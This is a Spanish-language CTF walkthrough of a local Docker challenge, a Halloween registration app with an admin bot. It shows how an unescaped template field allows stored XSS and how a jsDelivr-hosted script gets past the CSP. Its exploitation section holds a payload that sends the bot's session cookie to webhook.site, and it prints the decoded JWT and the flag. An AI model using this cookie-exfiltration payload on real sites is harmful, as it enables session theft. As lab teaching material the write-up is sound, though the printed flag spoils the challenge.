> For the complete documentation index, see [llms.txt](https://dise0.gitbook.io/h4cker_b00k/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dise0.gitbook.io/h4cker_b00k/ctf/ctfs/challenge-webhooks-easy.md).

# Challenge Webhooks Easy

URL Download challenge = <https://drive.google.com/file/d/18Mu81ka72Ew2ZJLhTearB8gNvx87_IrV/view?usp=sharing>

## Contexto del challenge

### Trayectoria del Challenge

<figure><img src="/files/h5p7IAxrXB7VA0CnDihp" alt=""><figcaption></figcaption></figure>

### Descripción general

El challenge **Webhooks** es un challenge de **seguridad web** desplegado mediante **Docker**, cuyo objetivo principal es la explotación de una aplicación web desarrollada en **Node.js con Express**. La aplicación simula un formulario de registro para un evento temático de Halloween y cuenta con un panel de administración interno visitado automáticamente por un **bot administrador**.

El reto está diseñado para evaluar conocimientos en:

* **Análisis de código fuente**
* **Cross-Site Scripting (XSS) almacenado**
* **Políticas de seguridad web (Content Security Policy – CSP)**
* **Exfiltración de cookies y tokens JWT**
* **Abuso de bots automatizados (Admin Bot)**
* **Manipulación y decodificación de JWT**

El objetivo final del challenge es **obtener la flag**, la cual se encuentra protegida dentro de una **cookie de sesión JWT** perteneciente al usuario administrador y únicamente accesible mediante la explotación encadenada de varias debilidades de seguridad.

### Arquitectura y funcionamiento de la máquina

La máquina se ejecuta localmente mediante Docker y expone un único servicio web:

* **Aplicación web:** Node.js + Express
* **Puerto:** 1337
* **Interfaz:** Formulario de registro web
* **Panel interno:** `/admin` (no accesible directamente por el usuario)

Cuando un usuario envía un formulario, la información es almacenada y posteriormente visualizada en un panel de administración. Dicho panel es visitado de forma automática por un **bot basado en Puppeteer**, el cual:

* Inicia sesión como **admin**
* Carga una cookie de sesión JWT válida
* Accede al panel `/admin`
* Procesa las solicitudes pendientes

Esta arquitectura introduce un escenario realista de **Stored XSS + Admin Bot**, muy común en entornos reales y competiciones CTF.

### Vulnerabilidades identificadas

A continuación se enumeran las vulnerabilidades presentes en la máquina, incluyendo su **identificación**, **CVE/CWE asociado** y **criticidad según CVSS v3.1**.

<figure><img src="/files/wV3iW23NH8yglHbsUmx1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dItIiZgEDdiBivQWN9YD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bk33afpxHEWflVrxf8W0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SVb4MJNfVfn6qSg1IcQa" alt=""><figcaption></figcaption></figure>

## Instalación

Primero tendremos que descomprimir el archivo `challenge_webhook.zip` y, posteriormente, descomprimir el archivo `challenge.zip`, que es del cual vamos a obtener la información de cómo está compuesto internamente el reto.

```shell
unzip challenge_webhook.zip
cd challenge_webhook/
unzip challenge.zip
```

Una vez realizado este paso, vamos a iniciar el servidor de la página vulnerable utilizando la herramienta incluida llamada `run.sh`.

```shell
./run.sh
```

Resultado:

```
======================================
[*] Desplegando Docker...
======================================
[+] Building 1.1s (11/11) FINISHED                                                                                                                                       docker:default
 => [internal] load build definition from Dockerfile                                                                                                                               0.0s
 => => transferring dockerfile: 672B                                                                                                                                               0.0s
 => [internal] load metadata for docker.io/library/node:18-slim                                                                                                                    1.0s
 => [internal] load .dockerignore                                                                                                                                                  0.0s
 => => transferring context: 2B                                                                                                                                                    0.0s
 => [1/6] FROM docker.io/library/node:18-slim@sha256:f9ab18e354e6855ae56ef2b290dd225c1e51a564f87584b9bd21dd651838830e                                                              0.0s
 => [internal] load build context                                                                                                                                                  0.0s
 => => transferring context: 6.68kB                                                                                                                                                0.0s
 => CACHED [2/6] RUN apt-get update && apt-get install -y     chromium     fonts-liberation     libnss3     libatk1.0-0     libatk-bridge2.0-0     libcups2     libdrm2     libxk  0.0s
 => CACHED [3/6] WORKDIR /app                                                                                                                                                      0.0s
 => CACHED [4/6] COPY package*.json ./                                                                                                                                             0.0s
 => CACHED [5/6] RUN npm install                                                                                                                                                   0.0s
 => [6/6] COPY . .                                                                                                                                                                 0.0s
 => exporting to image                                                                                                                                                             0.0s
 => => exporting layers                                                                                                                                                            0.0s
 => => writing image sha256:306d4847edb837392313f9511237cb33ab47db3ac7d6e03d4f35134946878e62                                                                                       0.0s
 => => naming to docker.io/library/challenge                                                                                                                                       0.0s

[+] Docker montado con exito!

======================================
[*] Iniciando docker vulnerable (Challenge)...
======================================

> cursed-secret-party@1.0.0 start
> node app.js

[+] Cursed Secret Party running on http://127.0.0.1:1337
```

Con esto veremos que ya podremos acceder a la aplicación web vulnerable desde `http://127.0.0.1:1337`. A partir de aquí, el entorno estará listo para comenzar el reto.

***

> Info extra.

Cuando terminemos el reto y queramos detener el servidor, tendremos que pulsar `Ctrl+C` varias veces en la pestaña de la terminal donde esté ejecutándose el script `run.sh`.\
Una vez detenido, deberemos ejecutar el archivo `delete.sh` para que elimine los contenedores creados.

***

## Web

Si accedemos a la siguiente `URL`:

```
URL = http://127.0.0.1:1337/
```

Veremos lo siguiente:

<figure><img src="/files/bsDfE3Gjoq9WFxpPU7Y8" alt=""><figcaption></figcaption></figure>

Se trata de una página web aparentemente normal, que contiene un formulario para participar en una fiesta de `Halloween` o algo similar.

Para obtener más información sobre la tecnología utilizada en la página, ejecutamos la herramienta `whatweb`.

```shell
whatweb http://127.0.0.1:1337/
```

Resultado:

```
http://127.0.0.1:1337/ [200 OK] Country[RESERVED][ZZ], HTML5, IP[127.0.0.1], Title[Halloween Party], UncommonHeaders[content-security-policy], X-Powered-By[Express]
```

Como resultado observamos varios detalles interesantes:

* La aplicación está desarrollada sobre `Express`.
* Existen políticas de seguridad configuradas a nivel de `headers`.

> `Express`

`Express` se refiere a `Express.js`, un framework web rápido y minimalista para `Node.js`, diseñado para simplificar la creación de aplicaciones y `APIs web`, gestionando rutas y solicitudes de manera eficiente.

> Políticas de `headers`

Si inspeccionamos la página desde el navegador, accedemos a la pestaña `Network`, seleccionamos la petición `GET` a la raíz (`/`) y revisamos los `headers` de la respuesta, veremos lo siguiente:

```
Content-Security-Policy
	script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'
```

`Content-Security-Policy (CSP)` es una capa de seguridad web que ayuda a prevenir ataques como `XSS (Cross-Site Scripting)` y ataques de inyección, permitiendo definir qué fuentes de contenido (scripts, imágenes, estilos, etc.) están permitidas.

Dentro de este `header`, nos llama especialmente la atención la siguiente directiva:

```
script-src 'self' https://cdn.jsdelivr.net
```

Esto indica que la aplicación confía en scripts cargados desde su propio dominio y desde `https://cdn.jsdelivr.net`.

Si accedemos a la documentación de dicha plataforma:

URL = [Pagina jsdeliver (Seccion GitHub)](https://www.jsdelivr.com/?docs=gh)

Veremos que existe una sección dedicada a `GitHub`:

<figure><img src="/files/OBiUx5SMNpVBO9q4BppF" alt=""><figcaption></figcaption></figure>

En ella se explica que es posible cargar archivos directamente desde un repositorio de `GitHub`, indicando el usuario, el repositorio y el archivo a cargar.

Esto resulta muy interesante, ya que podemos aprovechar esta confianza para cargar un script externo en forma de `XSS`, siempre que encontremos un punto de inyección válido dentro de la aplicación.

La estructura de la URL sería la siguiente:

```
https://cdn.jsdelivr.net/gh/user/repo@version/file
```

Aún así, todavía necesitamos identificar el punto exacto de inyección para poder explotar este comportamiento.

## Fuzzing de archivos

<figure><img src="/files/epZq5N58aHDLNmGrC3UD" alt=""><figcaption></figcaption></figure>

Si revisamos el contenido del directorio `challenge` descomprimido y analizamos el código fuente de la aplicación, encontraremos varias líneas interesantes.

En el archivo `templates/admin.html` observamos el siguiente contenido:

```html
<html>
<head>
  <link rel="stylesheet" href="/static/css/bootstrap.min.css" />
  <title>Admin panel</title>
</head>

<body>
  <div class="container" style="margin-top: 20px">
    {% for request in requests %}
      <div class="card">
        <div class="card-header">
          <strong>Halloween Name</strong> : {{ request.halloween_name | safe }}
        </div>
        <div class="card-body">
          <p><strong>Email Address</strong>: {{ request.email }}</p>
          <p><strong>Costume Type</strong>: {{ request.costume_type }}</p>
          <p><strong>Prefers tricks or treat</strong>: {{ request.trick_or_treat }}</p>

          <button class="btn btn-primary">Accept</button>
          <button class="btn btn-danger">Delete</button>
        </div>
      </div>
    {% endfor %}
  </div>
</body>
</html>
```

Línea especialmente interesante:

```html
<div class="card-header">
    <strong>Halloween Name</strong> : {{ request.halloween_name | safe }}
</div>
```

Aquí podemos observar que el único parámetro de texto que **no escapa caracteres especiales** es `Halloween Name`.\
El filtro `| safe` indica que el contenido recibido del usuario es considerado seguro y se renderiza sin ningún tipo de sanitización.

El resto de campos no utilizan este filtro, por lo que sus caracteres especiales sí serán escapados automáticamente.

***

> **Info sobre `safe`**

Cuando introducimos un payload como el siguiente en un campo que **no** utiliza `| safe`:

```html
<script>alert('XSS')</script>
```

El motor de plantillas lo escapará y lo mostrará así:

```html
&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
```

Esto evita la ejecución del código.

Sin embargo, si el campo utiliza `| safe`, el contenido no se escapará y el payload se ejecutará directamente como código JavaScript, permitiendo un ataque `XSS`.

***

<figure><img src="/files/9oxilRiz2OZhRJsSNZPl" alt=""><figcaption></figcaption></figure>

Llegados a este punto, ya podemos planear la explotación. Para saber exactamente qué debemos obtener mediante el `XSS`, investigamos el archivo `bot/bot.js`:

```js
const fs = require('fs');
const puppeteer = require('puppeteer');
const JWTHelper = require('./helpers/JWTHelper');

const flag = fs.readFileSync('/app/flag.txt', 'utf8');

const visit = async () => {
  try {
    const browser = await puppeteer.launch({
      headless: true,
      executablePath: process.env.PUPPETEER_EXECUTABLE_PATH,
      args: ['--no-sandbox']
    });

    const page = await browser.newPage();

    const token = JWTHelper.sign({
      username: 'admin',
      user_role: 'admin',
      flag: flag
    });

    await page.setCookie({
      name: 'session',
      value: token,
      domain: '127.0.0.1'
    });

    await page.goto('http://127.0.0.1:1337/admin', {
      waitUntil: 'networkidle2'
    });

    await page.goto('http://127.0.0.1:1337/admin/delete_all', {
      waitUntil: 'networkidle2'
    });

    await browser.close();
  } catch (e) {
    console.log(e);
  }
};

module.exports = { visit };
```

Aquí vemos que existe un `bot` que visita la página `admin.html`, justo donde se encuentra el punto vulnerable a `XSS`.\
Este bot establece previamente una `Cookie` de sesión que contiene, entre otros datos, la `flag` leída directamente del servidor.

Por lo tanto, el objetivo de la explotación será:

* Inyectar código JavaScript en el campo `Halloween Name`.
* Hacer que el `bot` ejecute ese código.
* Robar la `Cookie` de sesión del `admin`.
* Decodificar el token y extraer la `flag`.

## Explotación

<figure><img src="/files/fEdqD5TWtXQ536RHx0UI" alt=""><figcaption></figcaption></figure>

El `payload` que vamos a utilizar para el campo vulnerable es el siguiente:

```js
<script src="https://cdn.jsdelivr.net/gh/<USER>/<REPO_NAME>/exploit.js"></script>
```

> Ejemplo:

```js
<script src="https://cdn.jsdelivr.net/gh/h4ck3rSe0/test_XSS/exploit.js"></script>
```

Con esto estamos cargando un `script` externo desde una URL que está permitida por la política `CSP`, utilizando la funcionalidad de `jsDelivr` para repositorios de `GitHub`.

En mi caso, utilizaré una cuenta de pruebas de `GitHub` donde crearé un repositorio llamado `test_XSS` y dentro de él un archivo `exploit.js`.\
Este archivo se encargará de exfiltrar la `Cookie` del bot cuando sea ejecutado.

Para ello:

1. Creamos una cuenta en `GitHub`.
2. Creamos un nuevo repositorio llamado `test_XSS`.
3. Seleccionamos la opción **creating a new file**.
4. Creamos el archivo `exploit.js` con el siguiente contenido:

<figure><img src="/files/bMFYuUlYLwY9f4l0eQmM" alt=""><figcaption></figcaption></figure>

> exploit.js

```js
fetch("https://webhook.site/<ID_WEBHOOK>/?jwt_data=" + btoa(document.cookie));
```

En lugar de abrir un puerto en nuestra máquina y configurar `port forwarding`, utilizamos el servicio `webhook.site`, que nos proporciona una URL pública temporal capaz de recibir peticiones HTTP.

URL = [Pagina Webhook](https://webhook.site/)

Este servicio nos permitirá recibir la `Cookie` como parámetro (`jwt_data`), codificada en `Base64` para evitar problemas de formato.

> El valor `<ID_WEBHOOK>` deberá ser reemplazado por el identificador generado por la página de `Webhook`.

Para mas información sobre `webhooks` leer mi articulo del mismo:

{% content-ref url="/pages/Eh7N1sHuYNYbRXrkXjOg" %}
[Webhooks para recepción de datos sin exponer tu red](/h4cker_b00k/herramientas-tecnicas/hackingweb/webhooks-para-recepcion-de-datos-sin-exponer-tu-red.md)
{% endcontent-ref %}

<figure><img src="/files/dFhxNywDwIwERGVr339D" alt=""><figcaption></figcaption></figure>

Una vez guardado el archivo, volvemos a la página del puerto `1337` y, en el campo **HALLOWEEN NAME**, introducimos el payload:

```js
<script src="https://cdn.jsdelivr.net/gh/<USER>/<REPO_NAME>/exploit.js"></script>
```

Al enviar el formulario, el `bot` visitará la página de administración y ejecutará el script.\
En la página de `webhook` deberíamos ver una petición entrante similar a esta:

<figure><img src="/files/RZMRMpEvIWQVDCVG1BHg" alt=""><figcaption></figcaption></figure>

Observamos que el parámetro contiene información codificada en `Base64`.\
La decodificamos de la siguiente manera:

```shell
echo 'c2Vzc2lvbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWRYTmxjbDl5YjJ4bElqb2lZV1J0YVc0aUxDSm1iR0ZuSWpvaVEyaGhiR3hsYm1kbGUyUXhjMlV3WDNNMFkzSXpkRjk0YzNOZk5HUnRNVzVmWWpCMGZWeHVJaXdpYVdGMElqb3hOelk0TVRRM01UUTFMQ0psZUhBaU9qRTNOamd4TkRjME5EVjkuTGhsWWNBLVdqWll0RjJKanRNdzgtaVF6V2xvaEt2c3BZeEcwRFhuTWdBUQ==' | base64 -d; echo
```

Resultado:

```
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiQ2hhbGxlbmdle2Qxc2UwX3M0Y3IzdF94c3NfNGRtMW5fYjB0fVxuIiwiaWF0IjoxNzY4MTQ3MTQ1LCJleHAiOjE3NjgxNDc0NDV9.LhlYcA-WjZYtF2JjtMw8-iQzWlohKvspYxG0DXnMgAQ
```

Esto confirma que hemos obtenido correctamente la sesión del `bot`.

Ahora procedemos a decodificar el token utilizando la herramienta `jwt.io`.

URL = [Pagina jwt.io (Decodificar Tokens JWTs)](https://www.jwt.io/)

Al pegar el contenido del token (después del `=`) en la página, veremos lo siguiente:

<figure><img src="/files/1KShQ8NOpMJl8Ro1uiBy" alt=""><figcaption></figcaption></figure>

La información decodificada es:

```json
{
  "username": "admin",
  "user_role": "admin",
  "flag": "Challenge{d1se0_s4cr3t_xss_4dm1n_b0t}\n",
  "iat": 1768147145,
  "exp": 1768147445
}
```

Con esto ya hemos conseguido la `flag`, que era el objetivo final del reto.

> flag.txt

```
Challenge{d1se0_s4cr3t_xss_4dm1n_b0t}
```
